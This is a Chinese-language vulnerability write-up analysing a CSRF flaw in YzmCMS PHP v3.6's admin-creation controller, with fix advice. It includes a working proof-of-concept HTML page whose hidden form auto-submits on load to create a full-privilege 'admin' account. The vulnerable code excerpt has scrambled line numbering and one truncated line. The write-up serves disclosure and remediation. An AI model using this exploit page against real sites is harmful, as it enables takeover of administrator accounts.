【程式碼審計】YzmCMS_PHP_v3.6 CSRF漏洞分析
0x00 環境準備
YzmCMS官網:http://www.yzmcms.com/
程式原始碼下載:http://pan.baidu.com/s/1pKA4u99
測試網站首頁:
0x01 程式碼分析
1、檔案位置: /application/admin/controller/admin_manage.class.php第35-59行中:
- public function add() {
- $admin = D('admin');
- $admin_role = D('admin_role');
- $roles = $admin_role->where(array('disabled'=>'0'))->select();
- if(isset($_POST['dosubmit'])) {
- if(!is_username($_POST["adminname"])) return_json(array('status'=>
- if(!is_password($_POST["password"])) return_json(array('status'=>0,'message'=>L('password_format_error')));
- if($_POST["email"]!=''){
- if(!is_email($_POST["email"])) return_json(array('status'=>0,'message'=>L('mail_format_error')));
- 10. }
- 11. $res = $admin->where(array('adminname'=>$_POST["adminname"]))->find();
- 12. if($res) return_json(array('status'=>0,'message'=>L('user_already_exists')));
- 13.
- 14. $_POST['password'] = password($_POST['password']);
- 15. $r = $admin_role->field('rolename')->where(array('roleid' => $_POST['roleid']))->find();
- 16. $_POST['rolename'] = $r['rolename'];
- 17. $_POST['addtime'] = SYS_TIME;
- 18. $_POST['addpeople'] = $_SESSION['adminname'];
- 19. $admin->insert($_POST);
- 20. return_json(array('status'=>1,'message'=>L('operation_success')));
- 21. } else {
- 22. include $this->admin_tpl('admin_add');
- 23. }
- 24.
25. }
這段函式中進行新增管理員操作,只進行管理員身份驗證,未對訪問來源進行識別,導致程式在實現上存在CSRF漏洞。
0x02 漏洞利用
1、構造CSRF漏洞利用程式碼如下:
- <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
- <html>
- <head>
- <title>OWASP CRSFTester Demonstration</title>
- </head>
- <body onload="javascript:fireForms()">
- <script language="JavaScript">
- var pauses = new Array( "68" );
- 10.
11. function pausecomp(millis)
12. {
- 13. var date = new Date();
- 14. var curDate = null;
- 15.
- 16. do { curDate = new Date(); }
- 17. while(curDate-date < millis);
18. }
- 19.
20. function fireForms()
21. {
- 22. var count = 1;
- 23. var i=0;
- 24.
- 25. for(i=0; i<count; i++)
- 26. {
- 27. document.forms[i].submit();
- 28.
- 29. pausecomp(pauses[i]);
- 30. }
31. }
- 32.
33. </script>
34. <H2>OWASP CRSFTester Demonstration</H2>
35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">
36. <input type="hidden" name="adminname" value="admin"/>
37. <input type="hidden" name="password" value="abc123!"/>
38. <input type="hidden" name="password2" value="abc123!"/>
39. <input type="hidden" name="email" value=""/>
40. <input type="hidden" name="realname" value=""/>
41. <input type="hidden" name="roleid" value="1"/>
42. <input type="hidden" name="dosubmit" value="1"/>
43. </form>
44. </body>
45. </html>
2、當管理員瀏覽該頁面時,自動建立管理員賬號admin
3、利用admin賬號可成功登入後臺進行任意操作。
0x03 修復建議
1、通過token或者session來判斷當前使用者身份
2、敏感操作需要驗證碼,更改密碼需要驗證老密碼。
最後
歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。